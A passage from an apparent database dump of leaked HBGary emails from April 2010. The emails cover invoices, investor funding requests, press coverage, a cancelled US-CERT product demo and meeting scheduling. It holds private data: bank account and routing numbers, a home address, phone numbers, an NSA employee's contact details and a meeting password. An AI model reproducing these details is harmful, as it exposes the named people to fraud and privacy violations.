adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAaron, need to move our meeting time to 0900.&nbsp; We still have an hour; hope that&#8217;s enough for our initial in-depth discussion.&nbsp; \r\n\r\n\r\n',6882,'aaron_hbgary_com/6882.html'),(5459,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003969.M915980P14101Q314.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Penny Leavy\" <penny@hbgary.com>','Invoice from HBGary Federal LLC','Dear Penny Leavy-Hoglund,Your invoice is attached.  Please remit payment at your earliest convenience.Thank you for your business - we appreciate it very much.\r\nSincerely,HBGary Federal LLC\r\n		------------------------  Invoice Summary  --------------------------Invoice #: 1004Invoice Date: 04/19/2010Due Date: 04/19/2010Terms: Due on receiptAmount Due: $9,404.52The complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n\r\n\r\nWindows users: To view your invoiceOpen the attached PDF file. You must have Adobe® Reader® installed to view the attachment.\r\n\r\n\r\n\r\ndelivered by QuickBooks Online Plus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',8259,'aaron_hbgary_com/8259.html'),(5460,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003970.M120213P14101Q315.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: HBGary Federal Funding','Penny,\r\n\r\nFYI -\r\n\r\nI received Bob\'s check and deposited it last week.\r\nI received Rich\'s wire, but he must have had a typo when he entered\r\nit.  He now has a balance due of $1,000.00.  I sent him an email\r\nexplaining.\r\n\r\nDo you expect to be able to make your deposits this week?\r\n\r\nTed\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Apr 12, 2010 at 10:54 AM\r\nSubject: HBGary Federal Funding\r\nTo: Penny Leavy-Hoglund , Bob Slapnik\r\n, rich@hbgary.com\r\nCc: Aaron Barr \r\n\r\n\r\nThe first quarterly round of HBGary Federal funding was due on April\r\n1st, with amounts due as follows:\r\n\r\nPenny Leavy:  $39,013.33\r\nHBGary Inc:  $12,191.67\r\nNina Slapnick:  $5,689.45\r\nRich Cummings:  $1,625.57\r\n\r\nPlease send your check to:\r\n\r\nHBGary Federal\r\nC/O Ted Vera\r\n874 Legend Oak Dr.\r\nFountain, CO 80817\r\n\r\nor transfer / wire:\r\n\r\nThe acct # is 3803053804\r\nThe routing # is 121042882\r\nThe wire routing # is 121000248\r\n\r\nPlease let me know if you have any questions.\r\n\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',560,'aaron_hbgary_com/560.html'),(5461,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003970.M994420P14101Q316.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','LLC Articles of Organization','Penny,\r\n\r\nThis weekend I queried the CA business website for HBGary Federal,\r\nLLC, and it returned no results.  I double checked, and nothing.  I\r\npulled the LLC-1 form you filed when Aaron and I came out the first\r\ntime to Sacramento, and resent it to the state along with the $70.00\r\nfiling fee.  The state cashed both of the $800 checks for the\r\nfranchise fees for 2009 and 2010.\r\n\r\nTed\r\n',8829,'aaron_hbgary_com/8829.html'),(5462,'2010-04-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003971.M240685P14101Q317.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Network World Slide Show on White Hackers Published','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDino is on here, you should have Greg talk to himabout the\r\nconsulting, \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Monday, April 19, 2010 8:08 AM\r\nTo: Greg Hoglund\r\nCc: penny@hbgary.com\r\nSubject: Re: Network World Slide Show on White Hackers Published\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Ellen said you looked like a movie star in your picture.\r\n  They used your face on the home page to promote the story http://www.networkworld.com/&nbsp;!\r\n  \r\n  --- On Mon, 4/19/10, Greg Hoglund &lt;greg@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n  Subject: Re: Network World Slide Show on White Hackers Published\r\n  To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Cc: penny@hbgary.com\r\n  Date: Monday, April 19, 2010, 7:44 AM\r\n  \r\n  cool, its all very\r\n  hollywood.&nbsp; I made #2 ! woot!\r\n  \r\n  On Sun, Apr 18, 2010 at 6:24 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n  \r\n   \r\n    \r\n    \r\n    Hi Greg and Penny, FYI Ellen published her slide show on\r\n    White Hackers/IT Security Researchers and included Greg. Here is the link. http://www.networkworld.com/slideshows/2010/041510-white-hat-hackers.html#slide3\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    Best Karen&nbsp;\r\n    \r\n    \r\n   \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12653,'aaron_hbgary_com/12653.html'),(5463,'2010-04-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003971.M867486P14101Q318.eml','all@hbgary.com','Network World, 12 Hackers You Should know','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg made the list, he&#8217;s the &#8220;promo&#8221; page\r\nfor the slide show since he looks so &#8220;hollywood&#8221;.&nbsp; Check it out\r\n\r\n&nbsp;\r\n\r\nhttp://www.networkworld.com/slideshows/2010/041510-white-hat-hackers.html#slide3\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12218,'aaron_hbgary_com/12218.html'),(5464,'2010-04-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003972.M444940P14101Q320.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','RE: New Tagline Contenders (redux)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThreat Prevention is term 451 Likes.&nbsp; Detect, Diagnose and\r\nDefeat could be interesting.&nbsp; Because we have multiple products, on tag line\r\nmay not be possible.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Sunday, April 18, 2010 9:09 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Aaron Barr; all@hbgary.com; Karen Burke\r\nSubject: New Tagline Contenders (redux)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam\r\n\r\n\r\n\r\n\r\n\r\nWe are trying on the &quot;Enterprise Threat\r\nIntelligence&quot; tagline, as you might have noticed.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are down to two final contestants:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Enterprise Threat Intelligence&quot;\r\n\r\n\r\n\r\n\r\n\r\n&quot;Defeat Tomorrow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe still have the question because we aren\'t sure if\r\n&quot;Enterprise Threat Intelligence&quot; will collide with feed-vendors like\r\ncyveillance.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4834,'aaron_hbgary_com/4834.html'),(5465,'2010-04-19','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297003972.M777417P14101Q321.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Tom Temin Interview Coverage','Hi Aaron, Tom Temin covered your meeting&nbsp;with him in his blog, \"Temin on Tech.\" I wanted to be sure you saw it. Thanks again for making the time for the meeting. Best, Karen http://ttemin.wordpress.com/&nbsp;\r\n\r\n',6796,'aaron_hbgary_com/6796.html'),(5466,'2010-04-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003972.M89814P14101Q319.eml','\"Martin Pillion\" <martin@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,,','Advanced malware analyst','Martin,\r\n\r\nI believe I have a few positions opening up at the fort for mid-\r\nadvanced malware analysts.  Can you shoot some names or put me in\r\ncontact with some folks you know?  One of them might be to run our TMC\r\nfor the NTOC V22 folks.\r\n\r\nAaron\r\n\r\n\r\n\r\n From my iPhone\r\n',10787,'aaron_hbgary_com/10787.html'),(5467,'2010-04-19','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003973.M305216P14101Q323.eml','\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Kolchins, Joshua R.\" <Joshua.Kolchins@gd-ais.com>,Byron.Copeland@dhs.gov,Byron.Copeland@us-cert.gov,Byron.D.Copeland@hq.dhs.gov,phil@hbgary.com,\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,penny@hbgary.com,aaron@hbgary.com,rich@hbgary.com,\"Derrick, Gerald A.\" <Gerald.Derrick@gd-ais.com>,\"Donnelly, Jack F.\" <Jack.Donnelly@gd-ais.com>,sean.sobieraj@us-cert.gov','HB Gary New Product Demo / Discussion at US CERT','\r\n\r\n\r\n\r\n\r\nHB Gary New Product Demo / Discussion at US CERT\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nWe\'ll need to reschedule.&nbsp; Byron is having surgery and will not be able to make it then.\r\n\r\nI will reschedule and let everyone know thw new date and time.\r\n\r\nR\r\nMatt\r\n\r\n\r\n\r\n',1926,'aaron_hbgary_com/1926.html'),(5468,'2010-04-19','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>','/aaron@hbgary.com/new/1297003973.M585772P14101Q324.eml','\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Derrick, Gerald A.\" <Gerald.Derrick@gd-ais.com>,\"Donnelly, Jack F.\" <Jack.Donnelly@gd-ais.com>,\"Kolchins, Joshua R.\" <Joshua.Kolchins@gd-ais.com>,\"Copeland, Byron D\" <Byron.Copeland@dhs.gov>,sean.sobieraj@us-cert.gov,Byron.Copeland@us-cert.gov,\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov','Canceled: HB Gary New Product Demo / Discussion at US CERT','\r\n\r\n\r\nCanceled: HB Gary New Product Demo / Discussion at US CERT\r\n\r\n\r\n\r\n\r\nMeeting to demo new products and enhance current capabilities, training, etc.\r\n\r\nMatt or Jerry &#8211; please set up a conference room.\r\n\r\nIf we can&#8217;t get something there, how about a demo at JP2 or better yet, Fair Lakes Cyber Integration Center&#8230;\r\n\r\n\r\n\r\n\r\n',8268,'aaron_hbgary_com/8268.html'),(5469,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003973.M75031P14101Q322.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary Federal Funding','Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: April 19, 2010 10:54:13 AM MDTTo: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;Subject: Re: HBGary Federal Funding\r\nWow, you get around. Last I heard, you were in Boston. Yes it hit theAcct last week.Ted\r\nOn Apr 19, 2010, at 10:52 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;wrote:Given I&#39;m in Hawaii probably not.  I know I deposited your last\r\ninvoiceamount, did that clear?\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Monday, April 19, 2010 8:17 AM\r\nTo: Penny LeavyCc: Barr AaronSubject: Fwd: HBGary Federal Funding\r\nPenny,FYI -\r\nI received Bob&#39;s check and deposited it last week.I received Rich&#39;s wire, but he must have had a typo when he entered\r\nit.  He now has a balance due of $1,000.00.  I sent him an emailexplaining.\r\nDo you expect to be able to make your deposits this week?Ted\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Date: Mon, Apr 12, 2010 at 10:54 AMSubject: HBGary Federal Funding\r\nTo: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;, Bob Slapnik&lt;bob@hbgary.com&gt;, rich@hbgary.com\r\nCc: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nThe first quarterly round of HBGary Federal funding was due on April1st, with amounts due as follows:\r\nPenny Leavy:  $39,013.33HBGary Inc:  $12,191.67\r\nNina Slapnick:  $5,689.45Rich Cummings:  $1,625.57\r\nPlease send your check to:HBGary FederalC/O Ted Vera\r\n874 Legend Oak Dr.Fountain, CO 80817\r\nor transfer / wire:The acct # is 3803053804The routing # is 121042882\r\nThe wire routing # is 121000248Please let me know if you have any questions.\r\nTed\r\n--Ted H. VeraPresident | COO\r\nHBGary Federal719-237-8623\r\n',9899,'aaron_hbgary_com/9899.html'),(5470,'2010-04-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003973.M908644P14101Q325.eml','\"Stern, Matthew A.\" <Matthew.Stern@gd-ais.com>,\"Compton, Michael W.\" <Michael.Compton@gd-ais.com>,\"Kolchins, Joshua R.\" <Joshua.Kolchins@gd-ais.com>,Byron.Copeland@dhs.gov,Byron.Copeland@us-cert.gov,Byron.D.Copeland@hq.dhs.gov,phil@hbgary.com,\"Rohring, Matthew R.\" <Matthew.Rohring@gd-ais.com>,matthew.rohring@us-cert.gov,aaron@hbgary.com,rich@hbgary.com,\"Derrick, Gerald A.\" <Gerald.Derrick@gd-ais.com>,\"Donnelly, Jack F.\" <Jack.Donnelly@gd-ais.com>,sean.sobieraj@us-cert.gov','RE: HB Gary New Product Demo / Discussion at US CERT','\r\n\r\n\r\n\r\n\r\nHB Gary New Product Demo / Discussion at US CERT\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Stern, Matthew A.\r\n[mailto:Matthew.Stern@gd-ais.com] \r\nSent: Monday, April 19, 2010 11:02 AM\r\nTo: Compton, Michael W.; Kolchins, Joshua R.; Byron.Copeland@dhs.gov;\r\nByron.Copeland@us-cert.gov; Byron.D.Copeland@hq.dhs.gov; phil@hbgary.com;\r\nRohring, Matthew R.; matthew.rohring@us-cert.gov; penny@hbgary.com;\r\naaron@hbgary.com; rich@hbgary.com; Derrick, Gerald A.; Donnelly, Jack F.;\r\nsean.sobieraj@us-cert.gov\r\nSubject: HB Gary New Product Demo / Discussion at US CERT\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\nWe\'ll need to reschedule.&nbsp; Byron is having surgery and will not be able to\r\nmake it then.\r\n\r\nI will reschedule and let everyone know thw new date and time.\r\n\r\nR\r\nMatt \r\n\r\n\r\n\r\n\r\n\r\n\r\n',12647,'aaron_hbgary_com/12647.html'),(5471,'2010-04-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003974.M147222P14101Q326.eml','aaron@hbgary.com','FW: Email Intro\'s?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ned Miller\r\n[mailto:Ned_Miller@symantec.com] \r\nSent: Friday, April 09, 2010 2:46 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAbout to introduce you to Paul\r\nBartock, works for Sager&#8230; please consider this very sensitive info and not for\r\ndistribution past you ;-) &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nPaul\r\nF. Bartock Jr \r\nVAO\r\nTransformation SPO\r\nVulnerability Analysis &amp; Operations Group (VAO/I7)\r\nInformation Assurance Directorate\r\nNational Security Agency\r\nemail : pfbart2@nsa.gov\r\nphone (410)854-9860\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, April 09, 2010 3:35 PM\r\nTo: Ned Miller\r\nSubject: Email Intro\'s?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWE&#8217;d like to meet with Tony, can you do a quick intro\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein (including\r\nattachments) is not intended to be and cannot be used by any taxpayer for the\r\npurpose of avoiding tax penalties that may be imposed on&nbsp;the\r\ntaxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S.\r\nTreasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12328,'aaron_hbgary_com/12328.html'),(5472,'2010-04-19','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@TASC.COM>','/aaron@hbgary.com/new/1297003974.M450256P14101Q327.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: TMC','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you calling me or should I call you?&nbsp; What phone\r\nnumber?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, April 16, 2010 12:23 PM\r\nTo: Ted Vera\r\nCc: Sandoval Jr, Jose (TASC); Barr Aaron\r\nSubject: Re: TMC\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nJose,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe will not be making it to San Antonio. Are we on for the\r\ncall for next Monday at 6pm eastern time?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 5:08 PM, Ted Vera &lt;ted@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just sent you a meeting request for 4pm my time, next\r\nMonday. Feel free to suggest an alternate time if necessary. Our travel plans\r\nwill probably not firm up till later this week.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 3:31 PM, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you are coming to SA, let me know so we can meet here, maybe\r\ndinner or something.&nbsp; If not, then lets shoot for Monday PM.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJose\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tue 4/13/2010 4:25 PM\r\nTo: Sandoval Jr, Jose (TASC)\r\nCc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack,\r\nJacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)\r\nSubject: Re: TMC\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp;\r\nThat\'s exactly what we had in mind.&nbsp; Early next week is best for\r\nus (ie Monday?).&nbsp; It looks like we\'ll be on travel Tue - Fri.&nbsp; We may\r\nbe\r\nin San Antonio actually.&nbsp; I\'ll keep you posted on how that develops...\r\n\r\nTed\r\n\r\n\r\nOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:\r\n&gt; Next week is a good week for us.&nbsp; I would like to talk to you in\r\ndetail and invite my engineering team too.&nbsp; What works best?&nbsp; Expect\r\nthe RFP in mid June now.\r\n&gt;&nbsp;\r\n&gt; Thanks.\r\n&gt;&nbsp;\r\n&gt; Jose\r\n&gt;&nbsp;\r\n&gt;\r\n&gt; ________________________________\r\n&gt;\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tue 4/13/2010 4:06 PM\r\n&gt; To: Sandoval Jr, Jose (TASC); Barr Aaron\r\n&gt; Subject: TMC\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Jose,\r\n&gt;\r\n&gt; Our automated reverse engineering platform, which we are calling the\r\n&gt; Threat Management Center (TMC) is in the final phases of product\r\n&gt; development.&nbsp; Soon it will be ready to be shrink-wrapped as\r\nCOTS.&nbsp; Can\r\n&gt; we schedule some time with you and one or more of your engineers to\r\n&gt; discuss your mission, the problem, constraints, environment, etc.&nbsp; We\r\n&gt; will be able to discuss our architecture, the required components,\r\n&gt; static vs dynamic analysis, etc.&nbsp; I understand that your recompete is\r\n&gt; quickly approaching.&nbsp; Do you expect the RFP to drop in May?\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',885,'aaron_hbgary_com/885.html'),(5473,'2010-04-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003974.M689924P14101Q328.eml','\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>,\"Sandoval Jr, Jose (TASC)\" <jose.sandoval@tasc.com>','Re: TMC','I&#39;ll send a conf number in a secSent from my iPadOn Apr 19, 2010, at 2:02 PM, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\nAre you calling me or should I call you?  What phone\r\nnumber?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, April 16, 2010 12:23 PM\r\nTo: Ted Vera\r\nCc: Sandoval Jr, Jose (TASC); Barr Aaron\r\nSubject: Re: TMC\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nJose,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe will not be making it to San Antonio. Are we on for the\r\ncall for next Monday at 6pm eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 5:08 PM, Ted Vera &lt;ted@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just sent you a meeting request for 4pm my time, next\r\nMonday. Feel free to suggest an alternate time if necessary. Our travel plans\r\nwill probably not firm up till later this week. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 13, 2010, at 3:31 PM, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you are coming to SA, let me know so we can meet here, maybe\r\ndinner or something.  If not, then lets shoot for Monday PM.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nJose\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tue 4/13/2010 4:25 PM\r\nTo: Sandoval Jr, Jose (TASC)\r\nCc: Barr Aaron; Powell, Patrick K (TASC); Kamin, Karl V (TASC); Hammack,\r\nJacob P (TASC); Benson, Andrew C (TASC); Trippy, Matthew (TASC)\r\nSubject: Re: TMC\r\n\r\n\r\n\r\n\r\n\r\nGreat. \r\nThat&#39;s exactly what we had in mind.  Early next week is best for\r\nus (ie Monday?).  It looks like we&#39;ll be on travel Tue - Fri.  We may\r\nbe\r\nin San Antonio actually.  I&#39;ll keep you posted on how that develops...\r\n\r\nTed\r\n\r\n\r\nOn 4/13/10 3:16 PM, Sandoval Jr, Jose (TASC) wrote:\r\n&gt; Next week is a good week for us.  I would like to talk to you in\r\ndetail and invite my engineering team too.  What works best?  Expect\r\nthe RFP in mid June now.\r\n&gt; \r\n&gt; Thanks.\r\n&gt; \r\n&gt; Jose\r\n&gt; \r\n&gt;\r\n&gt; ________________________________\r\n&gt;\r\n&gt; From: Ted Vera [mailto:ted@hbgary.com]\r\n&gt; Sent: Tue 4/13/2010 4:06 PM\r\n&gt; To: Sandoval Jr, Jose (TASC); Barr Aaron\r\n&gt; Subject: TMC\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; Hi Jose,\r\n&gt;\r\n&gt; Our automated reverse engineering platform, which we are calling the\r\n&gt; Threat Management Center (TMC) is in the final phases of product\r\n&gt; development.  Soon it will be ready to be shrink-wrapped as\r\nCOTS.  Can\r\n&gt; we schedule some time with you and one or more of your engineers to\r\n&gt; discuss your mission, the problem, constraints, environment, etc.  We\r\n&gt; will be able to discuss our architecture, the required components,\r\n&gt; static vs dynamic analysis, etc.  I understand that your recompete is\r\n&gt; quickly approaching.  Do you expect the RFP to drop in May?\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3184,'aaron_hbgary_com/3184.html'),(5474,'2010-04-19','\"Ted Vera\" <messenger@webex.com>','/aaron@hbgary.com/new/1297003974.M916241P14101Q329.eml','aaron@hbgary.com','Meeting invitation: TMC with Jose Sandoval',' Hello Aaron,   Ted Vera invites you to attend this online meeting.   Topic: TMC with Jose Sandoval  Date: Monday, April 19, 2010  Time: 3:00 pm, Pacific Daylight Time (San Francisco, GMT-07:00)  Meeting Number: 577 436 853  Meeting Password: ddna    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=145538257&UID=0&PW=NMzJjZTU2ZDcw&RT=MiM0  2. If requested, enter your name and email address.  3. If a password is required, 